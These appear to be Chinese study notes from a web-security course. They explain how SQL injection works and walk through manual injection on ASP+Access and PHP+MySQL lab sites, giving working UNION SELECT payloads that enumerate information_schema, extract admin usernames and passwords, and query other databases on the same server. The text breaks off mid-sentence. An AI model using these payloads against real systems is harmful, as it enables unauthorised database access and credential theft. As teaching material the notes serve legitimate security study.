#知识点:
1、脚本代码与数据库前置知识
2、Access数据库注入-简易&偏移
3、MYSQL数据库注入-简易&权限跨库
#前置知识:
-SQL注入漏洞产生原理分析
-SQL注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限
一. SQL注入漏洞产生原理分析
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。
二. SQL注入漏洞危害利用分析
危害肯定就是获取管理员账户和密码以及获取里面的数据并进行操作。
危害补充:1.数据库信息泄露
2.网页篡改:登陆后台后发布恶意内容
3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
4.私自添加系统账号
5.读写文件获取webshell
三.脚本代码与数据库操作流程
答案同第一题
SQL注入攻击流程:
1、猜测数据库类型
2、根据类型选择思路
四. 数据库名,表名,列名,数据
ACCESS 独立存在
数据库名
表名
列名
数据
MYSQL 统一管理
最高数据库用户=root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
Mysql和access的区别就是一个同意管理,一个独立存在。Access就是一个网站就一个,所以不存在不同用户的权限不同。而mysql则是划分等级。
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
也就是说,不同的用户权限是不同的,看下面两张图就可以知道了。Root用户是可以管理所有数据库的。所以当你获得root权限时,就可以跨库注入了。
MYSQL两种思路:
1、非ROOT的注入攻击:常规类的猜解
2、ROOT用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可
下面说个案例:
漏洞产生根本条件:可控变量 特定函数
http://192.168.184.129/Production/PRODUCT.asp
http://192.168.184.129 /Production/PRODUCT.asp?id=1513
第一个没有可控变量,不代表就没有这个漏洞,因为还有可能是get post request等等接受变量的地方
如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1
http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513
Production/PRODUCT.asp?id=1513 注入语句&page=1 对
Production/PRODUCT.asp?id=1513&page=1 注入语句 错
因为是判断id有注入,所以注入语句应该写在id的后面
接着我们进行asp+access的实战讲解。再讲php+mysql。
首先在虚拟机中搭建好网站,,在浏览器中进行访问,然后通过order by命令看表中一共有22列,
通过payload进行sql注入,利用下图的那个按钮可以进行后面payload的补充。这里我们已知查询到的表名是admin,从图中可以看出,第三列和第十五列是可以在页面显示的。那么也就是说第三列和第十五列是可以进行注入的因为其他列是无法在页面显示的,就算你注入了其他列的,在页面无法显示是没啥用的。接着我们在3的那个位置填入想要查询的列名(这里已知是admin和password),填入之后便可以得到账号密码。但这是我们知道表名和列名。
#ASP+Access-简易注入-字典猜解
由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!
#ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!
这里我说明一下,不知到表名,用字典爆破,知道表名,不知道列名,用偏移注入
(7条消息) access偏移注入_baynk的博客-CSDN博客_access偏移注入原理
这是对偏移注入的讲解,可以看一下。
接下来对php+mysql进行讲解
首先知道一些前置知识:
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
information_schema.tables
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()-5.5.532
2、数据库用户-看是否符合ROOT型注入攻击-user()-root@localhost
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os-win
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()-syguestbook
Mysql可以直接利用已知的表名去查询,这也是和access不一样的地方。
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
总的来说就是一步一步获得我们想要的
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据(这里是注入的之前的那个xhcms)
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
最后来个实战
这个是通过编码来的,是base64编码,那么通过刚才的方法,在利用工具进行编码,即可获得数据库版本信息,这个得知是4.1.22版本,刚才讲的是对5版本以上的,所以就不能用information_schema这个表名了,就可以直接用字典去爆破。
最后利用脚本爆破出来表名为news,但是不知道列名,用偏移注入弄不出来,直接g